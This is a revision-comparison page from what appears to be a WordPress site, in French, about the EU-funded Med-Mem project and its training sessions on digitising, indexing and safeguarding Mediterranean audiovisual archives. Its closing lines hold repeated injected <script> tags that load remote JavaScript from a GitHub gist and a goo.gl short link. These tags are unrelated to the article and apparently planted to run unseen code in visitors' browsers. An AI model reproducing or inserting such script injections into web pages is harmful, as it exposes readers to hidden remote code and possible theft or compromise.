You are viewing an old revision of this post, from June 20, 2011 @ 18:43:14. See below for differences between this version and the current revision.
30 novembre, 1 et 2 décembre 2010 (Alexandrie, Egypte)
La session de formation « Construire et mettre en œuvre un plan de sauvegarde d’archives audiovisuelles », organisée dans le cadre du projet Med-Mem, a eu lieu du 30 novembre au 2 décembre 2010 à la Bibliotheca Alexandrina (Egypte).
La formation des professionnels et la mise en place de dynamiques de sauvegarde des archives apparaissent des enjeux fondamentaux afin de préserver notre mémoire partagée. Sur cette base, dans le cadre du volet de bonnes pratiques du projet Med-Mem, il a été envisagé d’élaborer un manuel de sauvegarde des archives audiovisuelles en Méditerranée.
A cette fin, la télévision marocaine (SNRT), chargée de cette activité, avait préparé et distribué un questionnaire visant à recenser les pratiques et les besoins des fonds d’archives des partenaires et associés au projet en matière de sauvegarde et de numérisation. Les données recueillies ont permis une analyse précise des exigences concrètes de ces fonds, ainsi qu’un niveau plus avancé de réflexion.
Les échanges d’idées, d’expériences et de compétences entre l’ensemble des participants à cette session de formation – documentalistes, responsables d'archives, techniciens et autres profils de l’audiovisuel – ont constitué la base pour commencer à structurer le manuel de sauvegarde qui représentera, une fois accompli, un point de repère en la matière et sera disponible en ligne sur le futur site Med-Mem.
Après la conclusion des travaux, les participants à cette formation, d’ailleurs très productive, ont été invités par l’ERTU à visiter le département d’archives de la télévision égyptienne, au Caire, pour un réel échange professionnel sur le terrain.
Changes:
| June 20, 2011 @ 18:43:14 | Current Revision | ||
|---|---|---|---|
| Title | |||
| Formation à la sauvegarde des archives audiovisuelles | Med-Mem: Mémoires Audiovisuelles de la Méditerranée | ||
| Content | |||
|---|---|---|---|
| <p> | |||
| <div style="text-align: justify;">Cofinancé à 68% parla Commission Européenne dans le cadre du Programme EUROMED Héritage IV, le projet Med-Mem, piloté par l’INA – l’Institut National de l’Audiovisuel français – consiste dans la mise en œuvre d’un site Internet promouvant le patrimoine de la zone euro-méditerranéenne à travers la mise en ligne d’archives audiovisuelles éditorialisées des télévisions publiques de la Région.</div> | |||
| <table style="width: 529px; height: 76px;" border="0" cellspacing="1" cellpadding="1"> | |||
| <tbody> | |||
| <tr> | |||
| <td rowspan="2" valign="top"><img style="width: 96px; height: 96px;" src="/userfiles/ image/LOGO_UE_FR_big.jpg" alt="" width="143" height="140" /></td> | |||
| <td valign="top"><span style="color: #0000ff !important;"><span style="text-decoration: underline;"><img style="width: 220px; height: 33px;" src="/userfiles/ heritage.jpg" alt="" /> | |||
| www.euromedheritage.net< /span></span></td> | |||
| </tr> | |||
| </tbody> | |||
| </table> | |||
| <span style="color: #3366cc;"><span style="font-size: 10px;"><strong><span style="font-size: 14px;"> | |||
| A LA <span data-scayt_word="UNE" data-scaytid= "222">UNE</span></span></ strong></span></span> | |||
| <p style="text-align: justify;"><a href="http:// www.medmem.eu"><img style="float: left;" src="http://www.copeam.org/ userfiles/image/ Page%20accueil%20Med-Mem.jpg" alt="" width="226" height="323" /></a><span data-scayt_word="Après" data-scaytid= "223">Après</span> 4 <span data-scayt_word="ans" data-scaytid= "224">ans</span> de travail <span data-scayt_word="commun" data-scaytid= "225">commun</span> et suite aux <span data-scayt_word="deux" data-scaytid= "226">deux</span> <span data-scayt_word= "événements" data-scaytid= "227">événements</span> de <span data-scayt_word="lancement" data-scaytid= "228">lancement</span> du site www.medmem.eu qui <span data-scayt_word="ont" data-scaytid= "229">ont</span> <span data-scayt_word="eu" data-scaytid= "230">eu</span> lieu <span data-scayt_word="à " data-scaytid= "216">à</span> <span data-scayt_word="Marseille" data-scaytid= "234">Marseille</span> en <span data-scayt_word="octobre" data-scaytid= "235">octobre</span> 2012 et <span data-scayt_word="à " data-scaytid= "217">à</span> Rabat en <span data-scayt_word="janvier" data-scaytid= "236">janvier</span> 2013, les <span data-scayt_word= "partenaires" data-scaytid= "237">partenaires</span> et <span data-scayt_word= "associés" data-scaytid= "238">associés</span> du <span data-scayt_word="projet" data-scaytid= "219">projet</span> <span data-scayt_word="Med-Mem" data-scaytid= "220">Med-Mem</span> se <span data-scayt_word="sont" data-scaytid= "241">sont</span> <span data-scayt_word= "rencontrés" data-scaytid= "242">rencontrés</span> <span data-scayt_word="une" data-scaytid= "243">une</span> nouvelle <span data-scayt_word="fois" data-scaytid= "244">fois</span> le 22 mars dernier, <span data-scayt_word="à " data-scaytid= "218">à</span> <span data-scayt_word= "l’occasion" data-scaytid= "245">l’occasion</span> de la <span data-scayt_word= "Conférence" data-scaytid= "246">Conférence</span> <span data-scayt_word="annuelle" data-scaytid= "247">annuelle</span> de la <span data-scayt_word="COPEAM" data-scaytid= "221">COPEAM</span>. | |||
| Le <span data-scayt_word= "cofinancement" data-scaytid= "263">cofinancement</span> <span data-scayt_word="à " data-scaytid= "249">à</span> 68% de <span data-scayt_word= "l’UE" data-scaytid= "267">l’UE</span> <span data-scayt_word="dans" data-scaytid= "252">dans</span> le cadre du <span data-scayt_word="Programme" data-scaytid= "253">Programme</span> <span data-scayt_word="Euromed" data-scaytid= "254">Euromed</span> <span data-scayt_word= "Héritage" data-scaytid= "255">Héritage</span> IV <span data-scayt_word= "s’étant" data-scaytid= "272">s’étant</span> <span data-scayt_word="achevé" data-scaytid= "273">achevé</span> fin <span data-scayt_word="janvier" data-scaytid= "256">janvier</span> 2013, la <span data-scayt_word= "réunion" data-scaytid= "275">réunion</span> de <span data-scayt_word="Cagliari" data-scaytid= "276">Cagliari</span> a <span data-scayt_word="porté" data-scaytid= "277">porté</span> <span data-scayt_word= "principalement" data-scaytid= "278">principalement</span> <span data-scayt_word="sur" data-scaytid= "257">sur</span> les <span data-scayt_word="possibles" data-scaytid= "280">possibles</span> <span data-scayt_word="pistes" data-scaytid= "281">pistes</span> de <span data-scayt_word= "pérennisation" data-scaytid= "282">pérennisation</span> du <span data-scayt_word="projet" data-scaytid= "258">projet</span>. <span data-scayt_word="Outre" data-scaytid= "284">Outre</span> la <span data-scayt_word="mise" data-scaytid= "259">mise</span> en place <span data-scayt_word= "d’un" data-scaytid= "260">d’un</span> <span data-scayt_word="comité" data-scaytid= "287">comité</span> de pilotage qui <span data-scayt_word="confie" data-scaytid= "288">confie</span> <span data-scayt_word="à " data-scaytid= "250">à</span> <span data-scayt_word="chaque" data-scaytid= "289">chaque</span> <span data-scayt_word= "partenaire" data-scaytid= "290">partenaire</span> des <span data-scayt_word= "responsabilités" data-scaytid= "291">responsabilités</span> <span data-scayt_word="bien" data-scaytid= "292">bien</span> <span data-scayt_word= "définies" data-scaytid= "293">définies</span> et <span data-scayt_word= "adaptées" data-scaytid= "294">adaptées</span> <span data-scayt_word="à " data-scaytid= "251">à</span> <span data-scayt_word="leurs" data-scaytid= "295">leurs</span> <span data-scayt_word= "compétences" data-scaytid= "296">compétences</span>, les participants <span data-scayt_word="ont" data-scaytid= "261">ont</span> <span data-scayt_word="abordé" data-scaytid= "299">abordé</span> la question de <span data-scayt_word= "l’élargissement" data-scaytid= "300">l’élargissement</span> des <span data-scayt_word= "contributeurs" data-scaytid= "301">contributeurs</span>. De plus, <span data-scayt_word="ils" data-scaytid= "302">ils</span> <span data-scayt_word="ont" data-scaytid= "262">ont</span> <span data-scayt_word= "réfléchi" data-scaytid= "303">réfléchi</span> aux <span data-scayt_word= "différentes" data-scaytid= "304">différentes</span> propositions de business plan <span data-scayt_word= "présentées" data-scaytid= "305">présentées</span>. | |||
| <span data-scayt_word="Une" data-scaytid= "399">Une</span> <span data-scayt_word= "réunion" data-scaytid= "349">réunion</span> du <span data-scayt_word="comité" data-scaytid= "350">comité</span> de pilotage <span data-scayt_word="est" data-scaytid= "402">est</span> <span data-scayt_word="à " data-scaytid= "351">à</span> <span data-scayt_word= "prévoir" data-scaytid= "405">prévoir</span> <span data-scayt_word="dans" data-scaytid= "353">dans</span> les <span data-scayt_word="mois" data-scaytid= "408">mois</span> <span data-scayt_word="à " data-scaytid= "352">à</span> <span data-scayt_word="venir" data-scaytid= "409">venir</span>, <span data-scayt_word="afin" data-scaytid= "410">afin</span> de <span data-scayt_word= "progresser" data-scaytid= "411">progresser</span> <span data-scayt_word="dans" data-scaytid= "354">dans</span> la <span data-scayt_word= "définition" data-scaytid= "412">définition</span> de la <span data-scayt_word="meilleure" data-scaytid= "413">meilleure</span> <span data-scayt_word= "stratégie" data-scaytid= "414">stratégie</span> de <span data-scayt_word= "pérennisation" data-scaytid= "355">pérennisation</span>.</p> | |||
| <p style="text-align: justify;"><a href="http:// www.medmem.eu"><span style="color: #0000cd;"><span style="text-decoration: underline;">< strong>www.medmem.eu</strong> </span></span></a></p> | |||
| <div class="follow_up"></div> | |||
| <strong>Formation « Indexer pour Med-Mem» (1/2) | |||
| <em>30 novembre, 1 et 2 décembre 2010 (Alexandrie, <span>Egypte< /span>)</em><br /> | </strong><em>Alexandria (Egypte), 12-14 octobre 2009</em> | ||
| La formation sur l’indexation qui aura lieu du 12 au 14 octobre 2009, accueillie par la Bibliotheca Alexandrina, sera l’occasion, pour une vingtaine de documentalistes provenant des organismes détenteurs d’archives partenaires et associés, d’échanger et d’adopter des pratiques d’indexation communes. | |||
| Depuis le mois de mars dernier, les partenaires et associés de Med-Mem identifient et sélectionnent dans leurs archives, des documents audiovisuels autour de six macro-thèmes du projet - Arts et Culture, Histoire et Civilisations, Sociétés et Modes de vie, Paysages et Environnement, Tourisme – dont le traitement permettra d’offrir une image la plus complète possible du patrimoine culturel euro-méditerranéen. | |||
| Après la collecte de ces premières données - plus de 100 documents par détenteur d’archives - une étude a été menée pour optimiser l’harmonisation des méthodes de sélection des documents entre les différents partenaires. | |||
| Les conclusions de cette enquête ont, notamment, permis d’élaborer les contenus de la formation « Indexer pour Med-Mem » prévue à la Bibliothèque Alexandrina au mois d’octobre 2009. | |||
| La première session de cette formation qui se place au croisement des volets documentaire et éditorial, sera consacrée à une rencontre entre les documentalistes et des chercheurs spécialistes des thèmes abordés. Les autres séances seront composées de contenus théoriques et d’applications pratiques sur l’indexation des documents. | |||
| Dans l’attente de se rendre à Alexandrie, les radiodiffuseurs partenaires s’attèlent à la mise en place de leur station de numérisation qu’ils ont réceptionnée tout dernièrement, suite à la formation « Numérisation » qui s’est tenue le 21 Juillet au siège de la Rai à Turin. | |||
| <a href="http:// www.copeam.org/UserFiles/ File/Projects/62_CPresse_ oct09%20pdf.pdf">Lire le communiqué de presse</a> | |||
| <hr /> | |||
| <strong>Med-Mem : Formation "Numérisation" </strong> | |||
| <em>Turin 21 juillet 2009 | |||
| </em> | |||
| Le 21 juillet dernier les partenaires Med-Mem – COPEAM, EPTV, INA, JRTV, RAI, SNRT- se sont retrouvés pour la formation «Numérisation» qui a étéaccueillie et assurée par la Rai, à Turin et qui aconstitué une occasion unique de rencontre et de partage entre professionnels de la Méditerranée. | |||
| L’objectif dela formation a consisté dans la présentation, l’installation et l’utilisation de la station de numérisation ainsi que du logiciel adapté au projet Med-Mem. | |||
| Au-delà du transfert unilatéral de compétences, l’homogénéité des profils et l’expérience dans le domaine informatique des techniciens et des responsables d’archives présents ont permis d’engager une réflexion commune autour du processus de numérisation et des besoins communs dans ce domaine. | |||
| Le logiciel de numérisation pour Med-Mem profitera de ces considérations ayant été conçu pour répondre aux exigences du projet. A la lumière de cet échange de haute qualité qui s’est tenu dans le cadre de la formation et sur la demande des partenaires, une adaptationqui rendra l'outil encore plus performant sera effectuée dans les prochains mois. | |||
| Le projet Med-Mem fournira donc auxmembresdu consortium, une station de numérisation accompagnée d’un logiciel qui répondra aux besoins communs des organismes du sud et du nord de la Méditerranée et permettra d’améliorer le traitement général des archives audiovisuelles. | |||
| <hr /> | |||
| <strong>Med-Mem : Premier partage des mémoires méditerranéennes | |||
| </strong><em>Le Caire, 18 avril 2009</em> | |||
| Seulement trois mois après le démarrage du projet Med-Mem, cofinancé par l’UE, une première maquette du site – qui sera en ligne en 2011 - a été présentée à l’occasion de la 16e Conférence de la COPEAM, grâce à l’implication et à l’efficacité de ses partenaires. | |||
| Les pages noircies, durant plusieurs mois, par les explications des multiples activités de ce projet sont apparues, en un instant, sur un écran d’ordinateur, claires, expressives et convaincantes. A partir d’une quarantaine de documents disponibles, il a été possible de montrer aux présents comment, d’ici quelques mois, ils pourront bénéficier d’une exploration guidée du patrimoine culturel de la région euro-méditerranéenne grâce aux archives audiovisuelles. | |||
| Le site, en cours de conception et de construction, proposera divers modes de navigation : | |||
| - une recherche classique par mot-clé ; | |||
| - un accès cartographique où les documents seront classés par pays ; | |||
| - une fresque chronologique sur laquelle certains documents seront répartis par année; | |||
| - un accès par collection qui permettra de connaître la richesse et l’ampleur des fonds de chaque contributeur ; | |||
| - un accès thématique qui regroupera les vidéos selon les six thèmes identifiés par le projet<sup>1</sup>. | |||
| Chaque document audiovisuel sera assorti d’une notice documentaire, les contributions les plus courtes qui constitueront la « Fresque chronologique » seront accompagnées de notices de contextualisation rédigées par des professionnels et des spécialistes du patrimoine. Des dossiers thématiques réalisés par des enseignants-chercheurs, permettront un approfondissement sur des sélections de vidéos traitant des problématiques méditerranéennes incontournables. | |||
| Puisque le passé permet de mieux comprendre le présent, quotidiennement, une « vidéo du jour » sera choisie pour éclairer une actualité importante. Enfin, toujours dans le souci d’entretenir un rapport étroit entre notre mémoire et nos intérêts présents, le site Med-Mem proposera un agenda culturel méditerranéen qui permettra de recenser les diverses manifestations autour du patrimoine et de la culture dans la région. | |||
| <span style="font-size: xx-small;"><em>1.Les six thèmes identifiés par le projet sont : 1)les sites culturels 2)les coutumes, traditions, métiers et savoirs 3) les paysages et l’environnement 4) les expressions culturelles et artistiques, 5) histoire, 6) tourisme.</em></span> | |||
| <hr /> | |||
| <strong><img alt="" src="../../userfiles/ image/Immagine1%281%29.jpg" style="width: 213px; height: 160px; float: left;" /></strong>La session de formation « Construire et mettre en <span>œuvre</span> un plan de sauvegarde <span>d’ archives</span> <span>audiovisuelles</span> », organisée <span>dans</span> le cadre du <span>projet</span> <span>Med-Mem</span>, a eu lieu du 30 novembre au 2 décembre 2010 <span>à</span> la <span>Bibliotheca</span> <span>Alexandrina</span> (<span>Egypte</span>).<br /> | |||
| La formation des professionnels et la <span>mise</span> en place de dynamiques de sauvegarde des archives apparaissent des enjeux fondamentaux afin de préserver notre mémoire partagée. Sur cette base, <span>dans</span> le cadre du volet de bonnes pratiques du <span>projet</span> <span>Med-Mem</span>, il a été envisagé d’élaborer un manuel de sauvegarde des archives <span>audiovisuelles</span> en Méditerranée.<br /> | |||
| <br /> | |||
| A cette fin, la <span>té lévision</span> marocaine (<span>SNRT</span>), chargée de cette activité, avait préparé et distribué un questionnaire visant <span>à</span> recenser les pratiques et les besoins des fonds <span>d’ archives</span> des <span>partenaires</span> et <span>associés</span> au <span>projet</span> en matière de sauvegarde et de numérisation. Les données recueillies ont permis une analyse précise des exigences concrètes de ces fonds, ainsi qu’un niveau plus avancé de réflexion.<br /> | |||
| <br /> | |||
| Les échanges d’idées, d’expériences et de compétences entre l’ensemble des participants <span>à</span> cette session de formation – documentalistes, responsables d'archives, techniciens et autres profils de l’audiovisuel – ont constitué la base pour commencer <span>à</span> structurer le manuel de sauvegarde qui représentera, une fois accompli, un point de repère en la matière et sera disponible en <span>ligne</span> sur le futur site <span>Med-Mem</span>.<br /> | |||
| Après la conclusion des travaux, les participants <span>à</span> cette formation, d’ailleurs très productive, ont été invités par l’ERTU <span>à</span> visiter le département <span>d’ archives</span> de la <span>té lévision</span> égyptienne, au Caire, pour un réel échange professionnel sur le terrain.</p> | |||
| <p> | |||
| <a href="../../UserFiles/ File/Projects/ 62_CdP%20Medmem%20Alexandrie%20VF.pdf"><span style="color: rgb(0, 0, 205);"><u><strong><span>Lisez le communiqué de presse</span> </strong></u> </span></a></p> | |||
| <strong>Med-Mem : Réunion de lancement</strong><em> | |||
| (Marseille, 25-27 Février 2009)</em> | |||
| Trois jours de travail - du 25 au 27 février 2009 - au siège de l'Ina Méditerranée (chef de file), à Marseille - ont marqué le lancement officiel du projet Med-Mem : «Partager les Mémoires Audiovisuelles de la Méditerranée». | |||
| Sélectionné sur plus de 300 propositions - dont 12 seulement retenues par la Commission européenne - dans le cadre du Programme européen Euromed Héritage IV, Med-Mem consiste à numériser, à éditer et à mettre en ligne sur un site web dédié les archives audiovisuelles de la Méditerranée. | |||
| Le partenariat établi, réunissant 18 organismes de 12 pays de la zone euro-méditerranéenne dont 10 télévisions publiques, coopérera pendant les trois prochaines années pour atteindre les objectifs communs de cette action: la préservation, la valorisation et le plus large accès par le public du patrimoine de la Méditerranée. | |||
| Après une première rencontre ouverte aux seuls membres du consortium - INA, COPEAM, EPTV, RAI, JRTV, SNRT - destinée à préciser les rôles respectifs et à définir les aspects opérationnels liminaires à mettre en place, le deuxième jour de travail a enregistré la participation de 40 professionnels environ provenant des différents départements mobilisés par l'INA sur cette initiative, ainsi que des organismes associés suivants : UER, Bibliothèque Alexandrina, MMSH, Uninettuno, ERT, ERTU, HRT, IBA, pour la présentation par volet du projet. | |||
| Les représentants de la RMSU, Unité Régionale de Soutien et de Gestion du programme EH IV de l'UE, ont également pris part aux travaux. | |||
| <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | Lors de la journée de clôture, la préparation d'une pré-maquette du site Med-Mem a été envisagée en vue de sa présentation pendant la Conférence annuelle de la COPEAM, en avril prochain, au Caire, où les partenaires se sont donnés rendez-vous. <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// gist.githubusercontent.com/ vladimir677/bd66b2780ce8792e731469b660a62590/ raw/3a71aff685732599ba7fbadf7b929eae8d19053a/ js.js'></script> <script type='text/javascript' src='https:// goo.gl/dd1kPI'></script> | ||
Note: Spaces may be added to comparison text to allow better line wrapping.
